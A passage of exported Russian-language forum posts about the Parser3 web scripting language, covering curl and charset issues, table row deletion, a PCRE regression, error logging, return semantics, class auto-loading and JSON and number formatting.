\"HTTP_USER_AGENT\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/112.0.0.0 Safari\\/537.36\",\
\"HTTP_ACCEPT\":\"text\\/html,application\\/xhtml+xml,application\\/xml;q=0.9,image\\/avif,image\\/webp,image\\/apng,*\\/*;q=0.8,application\\/signed-exchange;v=b3;q=0.7\",\
\"HTTP_SEC_FETCH_SITE\":\"none\",\
\"HTTP_SEC_FETCH_MODE\":\"navigate\",\
\"HTTP_SEC_FETCH_USER\":\"?1\",\
\"HTTP_SEC_FETCH_DEST\":\"document\",\
\"HTTP_CDN_LOOP\":\"cloudflare\",\
\"LANG\":\"en_US.UTF-8\",\
\"LANGUAGE\":\"en_US:en\",\
\"PATH\":\"\\/usr\\/local\\/sbin:\\/usr\\/local\\/bin:\\/usr\\/sbin:\\/usr\\/bin:\\/sbin:\\/bin\",\
\"HOME\":\"\\/var\\/www\",\
\"LOGNAME\":\"www-data\",\
\"USER\":\"www-data\",\
\"SHELL\":\"\\/usr\\/sbin\\/nologin\"\
[/code]"
"86260","^use[] ищет относительно файла, из которого происходит подключение, а ^load[] относительно запрашиваемого URL. Видимо поскольку ^load[] чаще вызывают по абсолютным путям на это никто не обращал внимание.\
\
Но понятно можно сделать свой ^rload[], который будет действовать как надо, например подсмотрев реализацию в парсерной реализации метода ^use[]\
\
https://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/tests/366.html?view=markup\
\
Только вместо include будет просто ^load, ну и цикл по CLASS_PATH не нужен."
"86261","[quote]надо передавать не hex'нутьій secret_key[/quote]\
\
Логично.\
\
[quote]єто возможно?[/quote]\
\
Сделать из base64 обратно строку дело нехитрое. Другое дело, что если там окажется символ с кодом 0 - будут проблемы. Если так будет - пишите, добавим возможность $.hmac[файл], технически там для этого все есть."
"86262","[code]@endless[code]\
^try{\
  ^while(1){\
    $code\
  }\
}{\
  $exception.handled(1)\
  ^if($exception.type ne endless_end){\
    ^endless{$code}\
  }\
}\
[/code]\
\
###\
[code]\
@main[]\
^memory:auto-compact(1)\
\
^endless{\
  $a($a +1)\
\
  ^if($a >= 1000000){^throw[endless_end]}\
}\
[/code]"
"86266","Доброго времени суток! После обновления хостинга сайт перестал работать(возможно в этом причина). В поисковике он висит, но как только  переходишь на товар сайта  выдает ошибку. Сайт написан на языке Parser 3. Может кто-то  понимающий помочь разобраться с  проблемой сайта?"
"86268","Отправила ссылку на сайт( сайт скачан на яндекс диск)"
"86269","везде, где тока возможно проставлен utf-8\
\
\
[code]    ^curl:session{  <--- parser.runtime\", \"source\": \"US-ASCII\",  \"comment\": \"unknown charset\",\
      $crl[^curl:load[\
            $.url[$gAPI.URI]\
            $.postfields[^lPostfields.foreach[key;value]{$key=^taint[uri;$value]}[&]&^gAPI.postfields.foreach[key;value]{$key=^taint[uri;$value]}[&]&${lSignature}] \
            $.ssl_verifypeer(false)\
            $.connecttimeout(6000)\
            $.timeout(9000)\
            $.content-type[application/json]\
            $.mode[text]\
            $.charset[UTF-8]\
#            $.httppost[$lBODY]\
            $.fresh_connect(true)\
      ]]\
... ...\
... ...\
[/code]\
\
ответ API сервера\
[code]HTTP/1.1 200 OK\
Date: Fri, 23 Jun 2023 01:03:53 GMT\
Access-Control-Allow-Origin: *\
Vary: Accept-Encoding\
Content-Encoding: gzip\
Content-Length: 1430\
Content-Type: application/json; charset=UTF-8\
Accept-Ranges: bytes[/code]\
\
auto.p\
[code]#source/client charsets \
  $request:charset[utf-8] \
  $response:charset[utf-8] \
  $response:content-type[ \
   $.value[text/html] \
   $.charset[$response:charset] \
  ] \
[/code]"
"86270","а должно бьіть 2023-06-23T01%3A37%3A05%2B00%3A00"
"86271","Подозреваю, что ответ не 200, а ошибка, потому и кодировка в ответе другая."
"86272","https://www.parser.ru/docs/lang/?opuntainttaint.htm\
\
\"uri символы за исключением цифр, строчных и прописных латинских букв, а также следующих символов: _ - . \" преобразуется в %XX где XX - код символа в шестнадцатеричной форме\""
"86275","[code]\
@currTimestamp[][locals;result]\
  $lTimestamp[^date::now[]]\
  ^lTimestamp.roll[TZ;UTC]\
  $sTimestamp[^lTimestamp.iso-string[$.ms(false)$.z(false)$.colon(true)]]\
\
  $result[timestamp=^apply-taint[uri][$sTimestamp]]\
[/code]\
\
вьідает timestamp=2023-06-23T08:39:24+00:00\
\
а ДОЛЖНО жеж timestamp=2023-06-23T08%3A39%3A24%2B00%3A00\
\
или я не так taint|untaint делаю ?"
"86276","Результат работы iso-string - доверенные данные, \"чистая\" строка."
"86280","Вообще странно, все стандартные модули для PHP идут из коробки, а модуль Parser для Apache нужно собирать ручками и это при том, что Parser позиционируется, как самая легкая возможность сделать сайт практически любому. Вы вообще о людях думаете? Как может например девушка владеющея HTML собрать из исходников модуль Parser для Apache и при этом сначала установить Visual Studio, затем изучить эту студию и уж затем собирать модуль из исходников? Нафига козе баян, она и так веселая. Есть PHP, есть все модули из коробки, любые дополнение просто скачиваешь подключаешь и используешь. Если человеку нужен геморрой, то Parser ему его обеспечит!!! Написать в доках, чтобы модуль люди сами собирали своими ручками, могли только люди презирающие и не уважающие других людей. \
\
P.S> Модули для Apache(32 бита и 64 бита) и для Nginx(32 бита и 64 бита) [b]должны идти из коробки![/b] (Для Windows)"
"86281","Тем более под Windows. Модуль для Apache нужен когда у вас десятки обращений в секунду, и едва ли в этом случае у вас будет Windows сервер. Для Linux, для основанных на Debian дистрибутивах (в том чиле Ubuntu) парсер в виде модуля есть в [url=\"https://packages.debian.org/sid/libapache2-mod-parser3\"]стандартных пакетах[/url]. Для Windows же вам нужно использовать либо Apache и parser3.exe как CGI скрипт, либо встроенный в парсер [url=\"https://www.parser.ru/docs/lang/?parserwebserver.htm\"]веб-сервер[/url]."
"86282","Мне только остается развести руками, слов нет - одни эмоции!\
\
P.S> PHP для Windows ставится или как CGI или как модуль Apache на усмотрение пользователя. Как думаете почему? Пользователь моко уже за пользователей решил, кому что надо и как надо."
"86284","один и тот же модуль, одинаковьій текст НО разньій результат вьівода в телеге :(\
\
[code]    $botResult[^curl:load[\
          $.url[$lURL]\
          $.ssl_verifypeer(false)\
          $.fresh_connect(true)\
          $.connecttimeout(3000)\
          $.timeout(3000)\
          $.content-type[application/json]\
          $.httpheader[\
#            $.content-type[application/json]\
            $.charset[UTF-8]\
          ]\
          $.charset[UTF-8]\
          $.mode[text]\
          $.httppost[$lBODY]\
    ]]\
[/code]"
"86288","Redmine не шевелится, пишу сюда.\
\
Хотим удалить из таблицы строки по условию (можно сделать [i]select[/i] с обратным условием, но хотим вот так — условие не обязательно простое, это может быть список ключей или их частей):\
[code]$t[^table::create{p\
1\
2\
3\
}]\
^t.menu{\
	^if($t.p < 3){\
		^t.delete[]\
	}\
}[/code]\
В таблице остаётся две строки: 2 и 3.\
Ожидалась одна — 3.\
\
Делаем то же самое с хешем:\
[code]$h[\
	$.1[]\
	$.2[]\
	$.3[]\
]\
^h.foreach[k;]{\
	^if($k < 3){\
		^h.delete[$k]\
	}\
}[/code]\
Как и ожидалось, остался один ключ 3.\
\
Похоже, дело в смещении указателя при удалении, но простым выводом указателя текущей строки это не подтверждается.\
\
В документации никаких тонкостей работы удаления строки не описано.\
Обошёл через [i]locate + delete[/i], но выглядит странно."
"86289","[quote]Похоже, дело в смещении указателя при удалении, но простым выводом указателя текущей строки это не подтверждается.[/quote]\
\
Указатель как раз не меняется, но по текущему указателю после удаления будет следующая строка таблицы, и других вариантов тут вроде как сложно придумать. Это видно, если вывести $t.p после удаления.\
\
[quote]Обошёл через locate + delete[/quote]\
\
Обойти можно и заменой if на while.\
\
[quote]В документации никаких тонкостей работы удаления строки не описано.[/quote]\
\
Да вроде и нет их. Кроме разве что того, что если удаляется последняя строка, текущей становится предпоследняя.\
\
Мне тоже не нравится, что поведение в случае хеша и таблицы отличается, но аналогия не совсем корректна - при удалении из хеша на текущем месте в foreach не остается ничего, а при удалении строки - текущей становится следующая строка, а не \"дырка\".\
\
P.S. [quote]Redmine не шевелится[/quote] - китайцы что-то массово хотели, сейчас на вид OK."
"86290","[quote]Указатель как раз не меняется, но по текущему указателю после удаления будет следующая строка таблицы, и других вариантов тут вроде как сложно придумать. Это видно, если вывести $t.p после удаления.[/quote]\
\
Да, действительно.\
\
[quote]Да вроде и нет их. Кроме разве что того, что если удаляется последняя строка, текущей становится предпоследняя.[/quote]\
\
Ну, вот пример.\
Я, почему-то, ожидал «дырок».\
\
[quote]Обойти можно и заменой if на while.[/quote]\
\
Разумно, спасибо.\
\
Сработало так:\
[code]$t[^table::create{p\
1\
2\
3\
}]\
^while(^t.line[] < $t){\
	^if($t.p < 3){\
		^t.delete[]\
	}\
}[/code]\
\
[quote]китайцы что-то массово хотели, сейчас на вид OK[/quote]\
\
Он регулярно недоступен.\
Видно, набегают периодически."
"86291","[quote]Я, почему-то, ожидал «дырок».[/quote]\
\
Тогда это было бы удаление данных строки, а не строки...\
\
[quote] Он регулярно недоступен.\
Видно, набегают периодически.[/quote]\
\
Cтранно. Мониторинг при этом ошибки не видит и успешно соединяется, хотя у меня тоже было \"connection refused\". Там у нашего администратора было какое-то необычное правило в firewall на http/https порту:\
-m connlimit --connlimit-upto 24 --connlimit-mask 0\
Сделал как везде:\
-m connlimit ! --connlimit-above 24"
"86292","[quote]Тогда это было бы удаление данных строки, а не строки...[/quote]\
\
Да, пожалуй.\
\
[quote]Сделал как везде[/quote]\
\
Включил мониторинг, посмотрим станет ли лучше."
"86293","Мне же думалось о таком:\
\
[code]$t[^table::create{p\
1\
2\
3\
}]\
^t.menu{\
	^while($t.p < 3){\
		^t.delete[]\
	}\
}[/code]\
\
:)"
"86294","Кстати, падает, если под условие подпадают все строки:\
[code]$t[^table::create{p\
1\
2\
3\
}]\
^t.menu{\
	^while($t.p < 4){\
		^t.delete[]\
	}\
}[/code]\
[quote]delete\
invalid current row[/quote]\
\
Самый устойчивый вариант, всё же, получился такой:\
[code]$t[^table::create{p\
1\
2\
3\
}]\
^while(^t.locate($t.p < 4)){\
	^t.delete[]\
}[/code]"
"86295","[quote]если под условие подпадают все строки[/quote]\
\
Это легко обходится дополнительной проверкой. Но зато это линейный алгоритм, а while + locate - квадратичная зависимость от числа элементов. При 10000 элементах в первом случае время исполнения будет сотые секунды, во втором - порядка секунды. Но понятно, что в пределах сотен элементов разница несущественна.\
\
[code]$t[^table::create{p}]\
^for[i](1;10000){\
    ^t.append{^math:random(10)}\
}\
\
^t.menu{\
    ^while(^t.count[] && $t.p < 5){\
	^t.delete[]\
    }\
}\
\
#^while(^t.locate($t.p < 5)){\
#    ^t.delete[]\
#}\
\
$result[^t.count[]]\
[/code]"
"86296","[quote]Но зато это линейный алгоритм, а while + locate - квадратичная зависимость от числа элементов.[/quote]\
\
Да, мне тоже не нравится делать перебор строк в поиске элемента в цикле.\
Но я не сообразил, что [i]delete[/i] ругается на удаление из пустой таблицы и достаточно добавить [i]$t &&[/i] в условие.\
\
Спасибо за вразумление!"
"86297","Пересобрал Парсер в Ubuntu (3.4.6b → 3.4.7b), обновив из репозитория.\
Начал получать ошибку PCRE там, где её раньше не было:\
[code]$title[1]\
^title.match[\\b()\\b;gi][/code]\
\
[quote]pcre.execute\
\\b()\\b\
execution error (-24)[/quote]\
\
В win-версии ошибки нет:\
[code]$title[1]\
^title.match[\\b()\\b;gi]\
\
[\
        {\"prematch\":\"\",\"match\":\"\",\"postmatch\":\"\",\"1\":\"\"}\
][/code]\
Правда, библиотеки давно не обновлялись.\
\
Обновилась PCRE?\
Сверил [i]/src/lib/pcre[/i] со старым дистрибутивом — разницы не обнаружил.\
\
Куда копнуть?"
"86298","Вот оно и сломалось. :)\
\
https://redmine.parser.ru/issues/1224\
\
Но хорошо, что нашлось. Отпишусь, как поправлю и тест добавлю."
"86299","Работает через https://kkmserver.ru/KkmServer"
"86300","Не хватало проверки для случая пустого матча в конце строки, добавил. В остальном поведение 3.4.7b куда логичнее, чем было в 3.4.6.\
\
[code]$title[word1 word2]\
$m[^title.match[\\b()\\b;g']]\
^json:string[$m][/code]\
\
3.4.6:\
[code][\
{\"prematch\":\"\",\"match\":\"\",\"postmatch\":\"word1 word2\",\"1\":\"\"}\
][/code]\
\
3.4.7b:\
[code][\
{\"prematch\":\"\",\"match\":\"\",\"postmatch\":\"word1 word2\",\"1\":\"\"},\
{\"prematch\":\"word1\",\"match\":\"\",\"postmatch\":\" word2\",\"1\":\"\"},\
{\"prematch\":\"word1 \",\"match\":\"\",\"postmatch\":\"word2\",\"1\":\"\"},\
{\"prematch\":\"word1 word2\",\"match\":\"\",\"postmatch\":\"\",\"1\":\"\"}\
][/code]"
"86301","Несколько неожиданно, что оно находит четыре границы как «граница + ничего + граница».\
\
Это выражение — результат генерации, где в скобки подставляется список и найденные в строке слова списка обрабатываются.\
\
В новой реализации так или иначе придётся делать проверку на пустоту списка и не проверять в этом случае (так и сделано для исправления ошибки).\
Старый же вариант просто ничего не находил и преобразований не происходило.\
\
Но, судя по тому, что реализациях PCRE других языков даёт так же четыре совпадения, — это корректный вариант.\
\
Спасибо."
"86302","Не то, чтобы очень требовалось, но столкнулся с медленной вставкой.\
\
От поставщика данных получаю JSON-массив, в котором порядка четырёхсот тысяч элементов.\
Задача в последующем быстром поиске одного элемента по точному совпадению.\
Показалось, что хешфайл для этого хорошо подходит.\
Но когда стал записывать по одному значения из загруженного JSON-файла в хешфайл получил 20-30 секунд на вставку.\
[i]LOAD DATA LOCAL INFILE[/i] в MySQL 5.7.9 делает то же самое за три секунды.\
\
Нет ли в планах пакетной загрузки данных в хешфайл?\
Или накладные расходы на запись всё равно будут большие и особого выигрыша не получится?\
\
Update: нашёл места для оптимизации: исключил класс-обёртку вокруг хешфайла и вычисления при вставке ключа — получил 6 секунд, что уже вполне неплохо."
"86303","В lib/sdbm/ не наблюдается пакетной вставки. А если посмотреть на метод pa_sdbm_store в sdbm.c, то не совсем понятно, что может ускориться.\
\
Еще для подобных задач можно использовать memcached, но пакетный режим в API libmemcached похоже предусмотрен только для получения данных (и в парсере это реализовано, mget)."
"86304","[quote]А если посмотреть на метод pa_sdbm_store в sdbm.c, то не совсем понятно, что может ускориться.[/quote]\
\
Думал, может там накладные расходы на каждую вставки какие имеются.\
\
[quote]Еще для подобных задач можно использовать memcached, но пакетный режим в API libmemcached похоже предусмотрен только для получения данных (и в парсере это реализовано, mget).[/quote]\
\
Да, но пакетной вставки, действительно нет.\
Да и жалко тратить память на не самые востребованные данные.\
\
В целом, на боевом сервере с SSD при работе с хешфайлом напрямую на вставку 380-ти тысяч записей уходит порядка двух секунд, что более чем приемлемо."
"86305","Добрый день.\
Есть один установленный парсер и несколько сайтов, которые его используют.\
При этом все ошибки пишутся в [b]parser3.log[/b] в папке установки парсера.\
\
Можно ли указать, например, в [b]auto.p[/b] в папке установки парсера, куда писать ошибки в том же виде, как они пишутся в [b]parser3.log[/b]?"
"86306","Путь к логу ошибок можно задать в переменной окружения CGI_PARSER_LOG (проверяется и REDIRECT_CGI_PARSER_LOG). Поэтому если не используется suexec, который \"чистит\" переменные окружения, это можно сделать в .htaccess сайта:\
\
[code]SetEnv CGI_PARSER_LOG \"/var/log/parser3/site1.log\"[/code]\
\
Главное чтобы у процесса парсера были права записи в указанную директорию."
"86307","Добрый день.\
Есть список методов, разделенных между собой несколькими пустыми строками.\
Каждый метод возвращает значение.\
\
Не знаю, обрабатываются ли пустые строки при вызове метода.\
\
Что правильнее использовать: ^return[результат] или $result[результат]?\
В чем принципиальная разница, если возврат результата идет в самом конце метода?"
"86308","Спасибо, работает.\
\
Апач почему-то не писал в лог, указанный через ErrorLog в VirtualHost, хотя доступ для записи и файл были.\
Добавил SetEnv CGI_PARSER_LOG ... в VirtualHost - пишет без проблем."
"86309","[quote]Не знаю, обрабатываются ли пустые строки при вызове метода.[/quote]\
\
Пустые строки между методами удаляются при компиляции. Код ниже выведет =that's it=.\
\
[code]@main[]\
=^m1[]=\
\
\
@m1[]\
that's it\
\
\
@m2[][/code]\
\
[quote]Что правильнее использовать: ^return[результат] или $result[результат]?\
[/quote]\
\
$result[результат] чуть быстрее.\
\
[quote]В чем принципиальная разница, если возврат результата идет в самом конце метода?[/quote]\
\
Да нет особой разницы."
"86310","[quote]Внимание: каждый метод должен или возвращать результат через $result во всех вариантах своего выполнения или не использовать $result вовсе.   [3.4.0][/quote] \
В то же время:\
[quote]Вызов ^return[результат] эквивалентен $result[результат] ^return[].[/quote]\
\
Чем чревато использование методов с конструкциями:\
[code]@method[]\
	...\
	^if(...){\
		^return[aaa]\
	}\
	^if(...){\
		^return[bbb]\
	}\
	$result[ccc][/code]\
?"
"86311","Указанное выше требование здесь выполняется. Вопрос персональных предпочтений. Конкретно такой код обычно пишу так:\
\
[code]@method[]\
	$result[ccc]\
	...\
	^if(...){\
		$result[aaa]\
	}(...){\
		$result[bbb]\
	}[/code]\
\
Но ваш вариант ничем не хуже, разве что если бы в одной из веток был ^return[], это могло бы привести неоднозначному поведению."
"86313","Длина — это общая длина поля под значение. Т.е. целая часть, десятичная точка и дробная часть. А если число отрицательное, то еще и минус добавится в длину.\
\
При %3.1f никаких пробелов быть не может. Минимальный формат с пробелами — %4.1f."
"86314","[quote]Что правильнее использовать: ^return[результат] или $result[результат]?[/quote]\
\
Зависит от стиля программирования.\
Если удобнее использовать возврат c остановкой выполнения, как в большинстве других языков, то [i]return[/i].\
\
Зависит от задачи: если нужно сделать возврат и не разбираться к логикой длинного метода, код которого продолжил бы выполняться при [i]$result[/i], то снова поможет [i]return[/i].\
\
Можно упростить код и избежать объёмных веток в [i]if[/i]:\
[code]@method[data]\
$result[]\
\
^if($data){\
	…\
	$result[]\
}[/code]\
↓\
[code]@method[data]\
^if(!$data){\
	^return[]\
}\
\
…\
$result[…]\
[/code]\
\
Можно даже комбинировать подходы и, накапливая изменения в [i]$result[/i], по какому-либо условию сделать [i]^return[$result][/i], не дожидаясь окончания формирования результата.\
\
Но я бью себя по рукам, когда хочется использовать [i]return[/i] просто потому что так проще. Лучше использовать его, когда сама логика подсказывает остановку и код получается понятнее и проще.\
\
[quote]В чем принципиальная разница, если возврат результата идет в самом конце метода?[/quote]\
\
Если и так доработали до конца и тем более несколько раз переопределяли [i]$result[/i], то бессмысленно делать [i]^return[$result][/i] — будут только накладные расходы на вызов метода."
"86315","[code]@main[]\
\
[b]$result[][/b]\
^if(!$form:fields){\
	$response:location[?test=result]\
}\
[/code]\
\
и\
\
[code]@main[]\
\
[b]^return[][/b]\
^if(!$form:fields){\
	$response:location[?test=result]\
}\
[/code]\
\
отработают по разному ;)\
при result редирект отработает, а при return - нет"
"86316","Что, [i]return[/i] прерывает выполнение и возвращает управление.\
Разумеется, после него никакой код выполнен не будет — в этом его смысл."
"86318","https://www.parser.ru/forum/?id=80334"
"86319","Добрый день.\
Есть структура:\
[code]data_name_1\
	class_type_1_1\
		class_1_1.p\
	class_type_1_2\
		class_1_2.p\
data_name_2\
	class_type_2_1\
		class_2_1.p\
	class_type_2_2\
		class_2_2.p[/code]\
\
Необходимо, чтобы из каждого класса из папок class_type_X_1 и class_type_X_2 можно было получать текст \"data_name_X\" (возможны и другие общие свойства) как статически, так и из объекта.\
\
Пробовал в каждую папку data_name_X положить auto.p и объявить переменную там, а в классах брать значение через MAIN:название_переменной, но при использовании классов из разных data_name_X получаю одно значение.\
\
Пробовал в классе делать ^use[... auto.p], а потом брать MAIN:название_переменной, но все результат тот же.\
\
В теории можно вместо auto.p создавать файл с классом (например, test.p), в котором объявить метод с нужным значением, которое будет использоваться любым классом из того же data_name_X, но в этом случае надо соблюдать уникальность названий классов в рамках разных data_name_X.\
\
Есть железный вариант - прописать в классах возврат нужного значения, но интересует именно получение свойства без прописывания в каждом файле.\
\
Базовые класса для всех указанных классов лежат вне каталогов data_name_X.\
\
Как можно реализовать получение общего свойства для классов в общем data_name_X, чтобы свойства не переопределялись?\
Можно ли как-нибудь получить путь к текущему классу изнутри класса статически и из объекта?"
"86320","[quote]Можно ли как-нибудь получить путь к текущему классу изнутри класса статически и из объекта?\
[/quote]\
\
^reflection:filename[$self] Разве не оно? \
\
[quote]Возвращает полный дисковый путь к файлу, в котором определен класс или метод. Для объекта возвращается путь к файлу, в котором определен его класс.\
[/quote]"
"86321","[quote]Замечание: в случае partial классов возвращается путь к первому файлу, в котором определен класс.[/quote]\
\
Желателен 100%-ный способ, но и за это спасибо.\
\
Есть мысли насчет получения общего свойства для классов в общем каталоге data_name_X?"
"86322","[quote]Желателен 100%-ный способ, но и за это спасибо.\
[/quote]\
\
Как замечание влияет на 100%? Оно просто уточняет поведение.\
\
[quote]Есть мысли насчет получения общего свойства для классов в общем каталоге data_name_X?[/quote]\
\
Мне кажется странным ожидать, что если в папку накидать каких-то классов, у них вдруг появятся какие-то общие свойства по причине того, что они лежат в этой папке.\
\
Конечно ничего не мешает туда эти свойства добавить - например пройтись циклом по папкам, загрузить классы через ^use[] (или пройтись циклом по всем классам). Потом ^reflection:class_by_name[имя класса] и прописать какие нужно свойства. Или реализовать свой @use на основе [url=\"https://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/tests/366.html?view=markup\"]предлагаемого[/url] и прописывать свойства в нем.\
\
Но выглядит все это странно, как и сама исходная задача."
"86323","Поясню задачу: есть модуль - папка с классами в соответствующих подпапках.\
Из классов нужно получать название модуля и, возможно, еще какие-нибудь свойства.\
Если прописать эти свойства в классах, то при переименовании модуля придется править все классы.\
\
Идея заключалась в том, чтобы положить в корень папки модуля файл, из которого другие классы безошибочно смогут получить нужные свойства.\
При этом при использовании классов разных модулей свойства не должны переопределяться, как в случае использования auto.p и определением свойств."
"86324","Еще раз: не важно, где и как лежат файлы. Важно как вы работаете с этими модулями, какая там структура классов и API. Есть же наверное какой-то метод загрузки модуля? Вот он и может например прописать каждому классу свойство module, содержащие объект Module со всеми нужными свойствами.\
Если же в классах каша, то тогда наверное проще всего в каждый класс добавить метод @auto[path], содержащий вызов ^Modules:prepare[$path], который сделает что вам нужно."
"86325","Когда модуль загружается, то нужные свойства есть, но класс модуля может быть вызван статически."
"86326","Кто-то этот класс сначала загружает. Если это делается централизованно, можно там делать требуемое. Если такого места нет - то как написал выше, @auto[] в классе, вызывается при загрузке класса. Или свой @use[], @USE тоже его использует."
"86327","По мотивам обсуждения ниже. Нет ли запроса на наследуемый аналог метода @auto[] у классов?  Который бы вызывался при загрузке класса и у потомков? Технически это одна строка кода, сложнее всего хорошее название придумать (чтобы сейчас его никто не использовал). Например @auto-inherited[]."
"86328","было бы круто если находясь в директории \"/a/b\" я делаю ^use[/b/c/d.p] автоматом подключались бы \"/b/c/auto.p\" и \"/b/auto.p\" ) ну и @USE соответственно выполнялись"
"86329","Сейчас более чем достаточно средств для того чтобы собрать объект как надо без магии."
"86332","Но изменение несовместимое — любое ранее не зарезервированное имя уже может кем-то использоваться.\
\
Приходит в голову только что-то вроде перегрузки методов: добавить [i]@auto[filespec][/i] параметр a-la [i]@auto[filespec;inherited][/i].\
И вызывать при наследовании такой [i]@auto[filespec][/i], если он описан с двумя параметрами.\
\
А программист внутри метода по определённости [i]inherited[/i] будет понимать, что статический конструктор наследуется.\
Параметр [i]inherited[/i] может быть не булевым, а именем класса или ссылкой на него."
"86333","А разработчик уже позаботится о совместимости самостоятельно."
"86334","Опция — да, но названия методов не нравятся и лучшего я предложить не могу.\
А в моём варианте новых методов не появляется — вся логика централизована."
"86335","[quote]Но изменение несовместимое — любое ранее не зарезервированное имя уже может кем-тои использоваться.\
[/quote]\
\
При правильном выборе нового имени вероятность того, что оно кем-то используется будет примерно 0.\
\
[quote]Можно добавить OPTIONS auto[/quote]\
\
Вариант с опцией интересный. Более того, можно в этом случае не заводить отдельный метод, а тот же auto и вызывать для дочерних классов. Но реализация всего этого добра будет уже далеко не в одну строку и даже не в один десяток. :("
"86336","[quote]Параметр inherited может быть не булевым, а именем класса или ссылкой на него.[/quote]\
\
Да, можно передать имя класса. Хотя оно и так доступно через $self:CLASS_NAME, но наверняка пригодится в коде."
"86337","[url=\"https://www.parser.ru/docs/lang/?opuse.htm\"]^use[/b/c/d.p; $.main(true) ][/url]\
\
\"Начиная с версии 3.4.6, при указании опции $.main(true) перед загрузкой файла будут загружены все существующие auto.p, начиная от корня веб-пространства, до директории с файлом - то есть так же, как это происходит при обработке запроса к странице.\""
"86338","необходимо отправить:\
[quote]{\
    \"lat\": 49.809,\
    \"lon\": 16.787,\
    \"model\": \"gfs\",\
    \"parameters\": [\"wind\", \"dewpoint\", \"rh\", \"pressure\"],\
    \"levels\": [\"surface\", \"800h\", \"300h\"],\
    \"key\": \"abcd123\"\
}\
[/quote]\
\
как сгенернить parameters и levels ?\
[code]\
\
$post[\
 $.key[abcd123]\
 $.lat(49.809)\
 $.lon(16.787)\
 $.model[gfs]\
 $.parameters[????] ^rem{ [\"wind\", \"dewpoint\", \"rh\", \"pressure\"], }\
 $.levels[????]     ^rem{ [\"surface\", \"800h\", \"300h\"], }\
]\
\
\
[/code]"
"86339","Настроить json:string для вашего примера несложно. \
\
Но ручная сериализация не сложнее и имеет ряд преимуществ. Мы можем настроить форматирование чисел для каждого поля, нам не надо формировать специальные таблички из одной колонки, а можем достать из БД табличку с несколькими колонками и взять только одну. Мы гарантированно не положим в запрос лишние поля.\
\
[code]\
@main[]\
\
$props[^table::create{prop\
wind\
dewpoint\
rh\
pressure\
}]\
\
$levels[^table::create{level\
surface\
\"800h-3\"\
300h\
}]\
\
$post[\
 $.key[abcd123]\
 $.lat(49.809)\
 $.lon(16.787)\
 $.model[gfs]\
 $.parameters[$props]\
 $.levels[$levels]\
]\
\
json:string:\
^json:string[$post][\
  $.indent(true)\
  $.table[compact]\
]\
\
custom:\
^post2json[$post]\
\
@post2json[post]\
^apply-taint[json][{\
  \"key\": \"^taint[$post.key]\",\
  \"lat\": ^post.lat.format[%.3f],\
  \"lon\": ^post.lon.format[%.3f],\
  \"model\": \"^taint[$post.model]\",\
  \"parameters\": [^post.parameters.foreach[;v]{\"^taint[$v.prop]\"}[, ]],\
  \"levels\": [^post.levels.foreach[;v]{\"^taint[$v.level]\"}[, ]]\
}]\
[/code]\
\
Результат:\
[code]\
json:string:\
{\
        \"key\":\"abcd123\",\
        \"lat\":49.809,\
        \"lon\":16.787,\
        \"model\":\"gfs\",\
        \"parameters\":[\
                \"wind\",\
                \"dewpoint\",\
                \"rh\",\
                \"pressure\"\
        ],\
        \"levels\":[\
                \"surface\",\
                \"\\\"800h-3\\\"\",\
                \"300h\"\
        ]\
}\
\
custom:\
{\
  \"key\": \"abcd123\",\
  \"lat\": 49.809,\
  \"lon\": 16.787,\
  \"model\": \"gfs\",\
  \"parameters\": [\"wind\", \"dewpoint\", \"rh\", \"pressure\"],\
  \"levels\": [\"surface\", \"\\\"800h-3\\\"\", \"300h\"]\
}\
[/code]"
"86341","В Parser3 довольно куцое форматирование, своего не привнесено,\
в отличие от кого-нибудь Python3.x, где есть форматные строки сами могут заменить весь Parser3 xD (если понимать под этим режим шаблонизатора с использованием кода)\
\
Пример, как это в Python3\
[code]\
n = 123456789.5678\
print(f\"{n:,.2f}\")\
\
\
Результат: 123,456,789.56\
[/code]"
"86342","Много лет пользуюсь методом:\
[code]@format[number;format;locale;options][locals]\
# 1000.1 ru → 1 000,1\
# 1000.1 en → 1,000.1\
\
$formats[\
	$.en[#,###.##]\
	$.ru[# ###,##]\
	$._default[#,##]\
]\
\
^if(!def $locale){\
	$locale[ru]\
}\
\
^if(!def $format){\
	$format[$formats.$locale]\
}\
\
^if($number > 0 && ^options.sign.bool(false)){\
	$format[+$format]\
}\
\
$document[^xdoc::create{<?xml version=\"1.0\" encoding=\"utf-8\"?>\
<number>\
	<value>$number</value>\
	<format>$format</format>\
	<locale>$locale</locale>\
</number>}]\
\
$template[^xdoc::create{<?xml version=\"1.0\" encoding=\"utf-8\"?>\
<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\
	<xsl:decimal-format name=\"ru\" decimal-separator=\",\" grouping-separator=\" \" NaN=\"—\" minus-sign=\"−\"/>\
	<xsl:decimal-format name=\"en\" decimal-separator=\".\" grouping-separator=\",\" NaN=\"–\" minus-sign=\"−\"/>\
\
	<xsl:template match=\"/number\">\
		<xsl:value-of select=\"format-number(value, format, locale)\"/>\
	</xsl:template>\
</xsl:stylesheet>}]\
\
$result[^document.transform[$template]]\
$result[^result.string[\
	$.method[text]\
	$.indent[no]\
]]\
$result[^result.replace[ ; ]]\
\
# examples\
^format(…)[# ###,###]\
^format(…)[# ###]\
^format(…)[0,#]\
^format(…)[;en]\
^format(…)[/code]\
\
Избыточно, конечно, и для большого числа форматирований лучше не использовать, зато гибко."
"86343","Доброго времени суток!\
Есть у кого пример как реализовать 3-х уровневое меню на Parser3 ?"
"86344","[quote]2. В теле сообщения напишите что вы хотели получить, что вы делали и что получили.[/quote]"
"86345","Теперь если @auto в классе объявлен с двумя параметрами, то он наследуется,\
при вызове во время загрузки класса во втором параметре передается имя текущего класса."
"86347","В [url=\"/download/nightly/\"]ночных сборках[/url] добавлена сборка парсера под Apple M1 (включая SQL драйвера), обновлены Windows версии. Остальные версии обновляются автоматически."
"86350","Но ругается да, не совсем корректно."
"86351","[code]@main[][a;b;c]\
$a[a]\
$c[c]\
$stack[^reflection:stack[ $.locals(true) $.limit(1) ]]\
^json:string[$stack.1.locals]\
[/code]\
\
выдаст\
\
[code]{\
\"a\":\"a\",\
\"b\":\"\",\
\"c\":\"c\"\
}\
[/code]"
"86354","Наверное было бы неплохо иметь поле в классе data для сравнения дней.\
\
Ситуация: получаем дату со временем из БД и создаем на основе нее дату\
\
